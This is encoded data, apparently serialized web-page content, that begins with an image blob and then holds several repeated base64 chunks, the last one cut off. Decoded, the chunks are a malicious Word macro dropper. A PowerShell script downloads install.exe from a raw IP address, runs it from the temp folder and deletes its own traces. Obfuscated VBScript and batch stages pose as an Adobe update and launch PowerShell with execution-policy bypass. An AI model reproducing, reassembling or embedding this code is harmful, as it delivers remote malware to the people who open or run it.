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2d:T58c,JGRvd24gPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR1cmwgID0gJ2h0dHA6Ly85MS4yMjAuMTMxLjQ0L3VwZC9pbnN0YWxsLmV4ZSc7JGZpbGUgPSAnJVRFTVAlXDQ0NC5leGUnOyRkb3duLmhlYWRlcnNbJ1VzZXItQWdlbnQnXSA9ICdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMCkgQXBwbGVXZWJLaXQvNjAwLjEuMjUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzguMCBTYWZhcmkvNjAwLjEuMjUnKycnOyRkb3duLkRvd25sb2FkRmlsZSgkdXJsLCRmaWxlKTskU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyRzb21lRmlsZVBhdGggPSAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4ZSc7JHZic0ZpbGVQYXRoID0gJ0M6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxMb2NhbFxUZW1wXGFkb2JlYWNkLXVwZGF0ZScrJy4nKyd2JysnYnMnOyRiYXRGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxhZG9iZWFjZC11cGRhdGUnKycuJysnYicrJ2F0JzskcHNGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxhZG9iZWFjZC11cGRhdGUnKycuJysncCcrJ3MxJztTdGFydC1TbGVlcCAtcyAxNTtjbWQuZXhlIC9jICAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4ZSc7ICAgICAkZmlsZTEgPSBnY2kgJHZic0ZpbGVQYXRoIC1Gb3JjZSRmaWxlMiA9IGdjaSAkYmF0RmlsZVBhdGggLUZvcmNlJGZpbGUzID0gZ2NpICRwc0ZpbGVQYXRoIC1Gb3JjZUlmIChUZXN0LVBhdGggJHZic0ZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJHZic0ZpbGVQYXRoIH1JZiAoVGVzdC1QYXRoICRiYXRGaWxlUGF0aCl7IFJlbW92ZS1JdGVtICRiYXRGaWxlUGF0aCB9JHBzSGVsbG8gPSAnYWlzZGpoaXFvd2hkaXEnO0lmIChUZXN0LVBhdGggJHNvbWVGaWxlUGF0aCl7IFJlbW92ZS1JdGVtICRzb21lRmlsZVBhdGggfVJlbW92ZS1JdGVtICRNeUlOdm9jYXRpb24uSW52b2NhdGlvbk5hbWU=2e:T428,WzktdC4xKj0gLTAlLnRXMXQuRnAuUXJCcGtzYS9hKlxHezAwMDIwNEVGLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn0jNC4yIzkjQzpcUFJPR1JBfjFcQ09NTU9OfjFcTUlDUk9TfjFcVkJBXFZCQTcuMVxWQkU3LkRMTCNWaXN1YWwgQmFzaWMgRm9yIEFwcGxpY2F0aW9ucypcR3swMDAyMDkwNS0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDZ9IzguNiMwI0M6XFByb2dyYW0gRmlsZXNcTWljcm9zb2Z0IE9mZmljZVxPZmZpY2UxNVxNU1dPUkQuT0xCI01pY3Jvc29mdCBXb3JkIDE1LjAgT2JqZWN0IExpYnJhcnkqXEd7MDAwMjA0MzAtMDAwMC0wMDAwLUMwMDAtMDAwMDAwMDAwMDQ2fSMyLjAjMCNDOlxXaW5kb3dzXHN5c3RlbTMyXHN0ZG9sZTIudGxiI09MRSBBdXRvbWF0aW9uKlxDTm9ybWFsKlxDTm9ybWFsQixWKCpcR3syREY4RDA0Qy01QkZBLTEwMUItQkRFNS0wMEFBMDA0NERFNTJ9IzIuNyMwIyVDT01NT05QUk9HUkFNRklMRVMlXE1pY3Jvc29mdCBTaGFyZWRcT0ZGSUNFMTVcTVNPLkRMTCNNaWNyb3NvZnQgT2ZmaWNlIDE1LjAgT2JqZWN0IExpYnJhcnkqXEd7MEQ0NTJFRTEtRTA4Ri0xMDFBLTg1MkUtMDI2MDhDNEQwQkI0fSMyLjAjMCNDOlxXaW5kb3dzXHN5c3RlbTMyXEZNMjAuRExMI01pY3Jvc29mdCBGb3JtcyAyLjAgT2JqZWN0IExpYnJhcnkqXEd7MTI4MDQ4MzctNDY2Ri00MkQzLUJCMDgtQzM4QzI3NEFCQTVBfSMyLjAjMCNDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxWQkVcTVNGb3Jtcy5leGQjTWljcm9zb2Z0IEZvcm1zIDIuMCBPYmplY3QgTGlicmFyeS5F2f:Tae8,YXJpLzYwMC4xLjI1JysnJzsgZCRkb3ckPCQ6bi5EJDpvd25sb2FkRmlsZSgkdXJsLCRmaWxlKTsgZCYkU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyBkJHNvbWVGaWxlUGF0aCA9ICclVEVNUCVcNDQ0LmV4JDwkOmUnOyBkJHZic0ZpbGVQYXRoID0gJ0M6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxMb2NhbFxUZW1wXCBCJyQ6KyQ6JyQ6LickOiskOickOnYnJDorJDonJDpicyckOjsgZCRiYXRGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFwgRickOiskOickOi4nJDorJDonJDpiJyQ6KyQ6JyQ6YXQnJDo7IGQkcHNGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFwgQCckOiskOickOi4nJDorJDonJDpwJyQ6KyQ6JyQ6czEnJDo7IGRTdGFydC1TbGVlcCAtcyAxNTsgZGNtJDpkLmV4JDplIC9jICAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4JDplJzsgICAgICBkJGZpbGUxID0gZ2NpICR2YnNGaWxlUGF0aCAtRm9yY2UgZCRmaWxlMiA9IGdjaSAkYmF0RmlsZVBhdGggLUZvcmNlIGQkZmlsZTMgPSBnY2kgJHBzRmlsZVBhdGggLUZvcmNlIGQ3SWYgKFRlc3QtUGF0aCAkdmJzRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkdmJzRmlsZVBhdGggfSBkN0lmIChUZXN0LVBhdGggJGJhdEZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJGJhdEZpbGVQYXRoIH0gZCRwc0hlbGxvID0gJ2Fpc2RqaGlxb3doZGlxJzsgZDlJZiAoVGVzdC1QYXRoICRzb21lRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkc29tZUZpbGVQYXRoIH0gZChSZW1vdmUtSXRlbSAkTXlJTnZvY2F0aW9uLkludm9jYXRpb25OYW1lIGRWIC4gZiBmRGltIGRmZiBmZGZmID0gNjggZmN1cnIkPCQ6ZW50RCQ8JDppcmVjdG9yeSA9IGxlZnQoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSwoTGVuKFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUpKS0obGVuKFdTY3JpcHQuU2NyaXB0TmFtZSkpKSBmU2V0IG9iakYkPCQ6U089Q3JlYXRlT2JqZWN0KCIkOiIkOiIkOiZTIiQ6JiQ6IiQ6Y3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIkOikgZmN1cnJlbnRGJDwkOmlsZSA9ICIkOkM6XFUkPCQ6c2Vyc1wgNlxBcHBEYXRhXExvY2FsXFRlbXBcIEAiJDomIiQ6LiIkOiYiJDpwIiQ6JiIkOnMxIiQ6IGZTJDpldCBvJDpialMkOmhlbCQ8JDpsJDwkOiA9IEQkOnJlYXRlTyQ6YiQ6amVjdCgiJDpXcyQ6Y3JpcHQucyQ6aGVsbCIkOikgZm8kOmJqUyQ6aGVsbC4kOlIkOnVuICIkOnBvJDp3ZXJTJDoiJDorIiQ6aGVsbC5leCQ6ZSAtbm8kOmV4aXQgLUV4ZWN1dGlvblBvJDpsaWN5IGJ5cGFzcyAtbm8kOnBybyQ6ZmlsZSAtZmlsZSAiJDogJiBjdXJyZW50RmlsZSwwLHRydWUgZiBmViAsIGwgbEBlY2hvIG9mZiBscGluZyAxLjEuMi4yIC1uIDIgbGNoY3AgMTI1MSBsOmNzYWtjbGFzamRrbGFzIGxzZXQgVmFyMT0iJDouIiQ6IGxzZXQgVmFyMj0iJDp2IiQ6IGxzZXQgVmFyMz0iJDpicyIkOiBsc2V0IFZhcjQ9IiQ6QzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcIEIiJDogbGNzY3JpcHQuJDplJDp4JDplICVWYXI0JSVWYXIxJSVWYXIyJSVWYXIzJSBsZXhpdCBsViAqIF5BQFwgLCBeQUBcIC4gXkFAXEFAICwnICQncmswQUBBQCAgISAhPHNlbGVjdD45ZCA1KGQgOSBDQHEgICAhICE8L3NlbGVjdD45ZCA1KGQgOSBDQHEgICAgISAhPGluYm94PjlkIDUoZCA5IENAcSAgICEgITwvaW5ib3g+OWQgNShkIDkgQ0BxIG9deCAgJyAgYkFAb0FAJm9BQCZvXVBdaF1dXScgIS48c2VsZWN0PiAnPC9zZWxlY3Q+J2FzayBhczhkIGogZG5ramgxMmtoMSBzYWQnICEgOWQ5Q0AjYWFzZGxrYXNqZGFzayBhczhkIGogZG5ramgxMmtoMSBzYWQnICBCQCAhLiAhICggOWQ5Q0Bhc2psZGtsYXMnICBCQCAhICggISdxb11dMF1IXWhdXSAhLi9hc2xrZGprIHNhZGtzYWoga3NhbGpkIGtsc2FqZCBrc2FqZCBLU0pES0FTTCBKRCc8aW5ib3g+JzwvaW5ib3g+JyAhIDlkOUNAYXNrIGFzOGQgaiBkbmtqaDEya2gxIHNhZCcgIEJAICEuICEgKCA5ZDlDQCAgQkAgISAoICcgICEocW8lQXR0cmlidXRlIFZCX05hbWUgPSAiVGhpc0RvY3VtZW50Ig==30:T58c,JGRvd24gPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR1cmwgID0gJ2h0dHA6Ly85MS4yMjAuMTMxLjQ0L3VwZC9pbnN0YWxsLmV4ZSc7JGZpbGUgPSAnJVRFTVAlXDQ0NC5leGUnOyRkb3duLmhlYWRlcnNbJ1VzZXItQWdlbnQnXSA9ICdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMCkgQXBwbGVXZWJLaXQvNjAwLjEuMjUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzguMCBTYWZhcmkvNjAwLjEuMjUnKycnOyRkb3duLkRvd25sb2FkRmlsZSgkdXJsLCRmaWxlKTskU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyRzb21lRmlsZVBhdGggPSAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4ZSc7JHZic0ZpbGVQYXRoID0gJ0M6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxMb2NhbFxUZW1wXGFkb2JlYWNkLXVwZGF0ZScrJy4nKyd2JysnYnMnOyRiYXRGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxhZG9iZWFjZC11cGRhdGUnKycuJysnYicrJ2F0JzskcHNGaWxlUGF0aCA9ICdDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxhZG9iZWFjZC11cGRhdGUnKycuJysncCcrJ3MxJztTdGFydC1TbGVlcCAtcyAxNTtjbWQuZXhlIC9jICAnQzpcVXNlcnNcJVVTRVJOQU1FJVxBcHBEYXRhXExvY2FsXFRlbXBcNDQ0LmV4ZSc7ICAgICAkZmlsZTEgPSBnY2kgJHZic0ZpbGVQYXRoIC1Gb3JjZSRmaWxlMiA9IGdjaSAkYmF0RmlsZVBhdGggLUZvcmNlJGZpbGUzID0gZ2NpICRwc0ZpbGVQYXRoIC1Gb3JjZUlmIChUZXN0LVBhdGggJHZic0ZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJHZic0ZpbGVQYXRoIH1JZiAoVGVzdC1QYXRoICRiYXRGaWxlUGF0aCl7IFJlbW92ZS1JdGVtICRiYXRGaWxlUGF0aCB9JHBzSGVsbG8gPSAnYWlzZGpoaXFvd2hkaXEnO0lmIChUZXN0LVBhdGggJHNvbWVGaWxlUGF0aCl7IFJlbW92ZS1JdGVtICRzb21lRmlsZVBhdGggfVJlbW92ZS1JdGVtICRNeUlOdm9jYXRpb24uSW52b2NhdGlvbk5hbWU=31:T428,WzktdC4xKj0gLTAlLnRXMXQuRnAuUXJCcGtzYS9hKlxHezAwMDIwNEVGLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn0jNC4yIzkjQzpcUFJPR1JBfjFcQ09NTU9OfjFcTUlDUk9TfjFcVkJBXFZCQTcuMVxWQkU3LkRMTCNWaXN1YWwgQmFzaWMgRm9yIEFwcGxpY2F0aW9ucypcR3swMDAyMDkwNS0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDZ9IzguNiMwI0M6XFByb2dyYW0gRmlsZXNcTWljcm9zb2Z0IE9mZmljZVxPZmZpY2UxNVxNU1dPUkQuT0xCI01pY3Jvc29mdCBXb3JkIDE1LjAgT2JqZWN0IExpYnJhcnkqXEd7MDAwMjA0MzAtMDAwMC0wMDAwLUMwMDAtMDAwMDAwMDAwMDQ2fSMyLjAjMCNDOlxXaW5kb3dzXHN5c3RlbTMyXHN0ZG9sZTIudGxiI09MRSBBdXRvbWF0aW9uKlxDTm9ybWFsKlxDTm9ybWFsQixWKCpcR3syREY4RDA0Qy01QkZBLTEwMUItQkRFNS0wMEFBMDA0NERFNTJ9IzIuNyMwIyVDT01NT05QUk9HUkFNRklMRVMlXE1pY3Jvc29mdCBTaGFyZWRcT0ZGSUNFMTVcTVNPLkRMTCNNaWNyb3NvZnQgT2ZmaWNlIDE1LjAgT2JqZWN0IExpYnJhcnkqXEd7MEQ0NTJFRTEtRTA4Ri0xMDFBLTg1MkUtMDI2MDhDNEQwQkI0fSMyLjAjMCNDOlxXaW5kb3dzXHN5c3RlbTMyXEZNMjAuRExMI01pY3Jvc29mdCBGb3JtcyAyLjAgT2JqZWN0IExpYnJhcnkqXEd7MTI4MDQ4MzctNDY2Ri00MkQzLUJCMDgtQzM4QzI3NEFCQTVBfSMyLjAjMCNDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcTG9jYWxcVGVtcFxWQkVcTVNGb3Jtcy5leGQjTWljcm9zb2Z0IEZvcm1zIDIuMCBPYmplY3QgTGlicmFyeS5F32:Tae8,YXJpLzYwMC4xLjI1JysnJzsgZCRkb3ckPCQ6bi5EJDpvd25sb2FkRmlsZSgkdXJsLCRmaWxlKTsgZCYkU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyBkJHNvbWVGaWxlUGF0aCA9ICclVEVNUCVcNDQ0LmV4JDwkOmUnOyBkJHZic0ZpbGVQYXRoID0gJ0M6XFV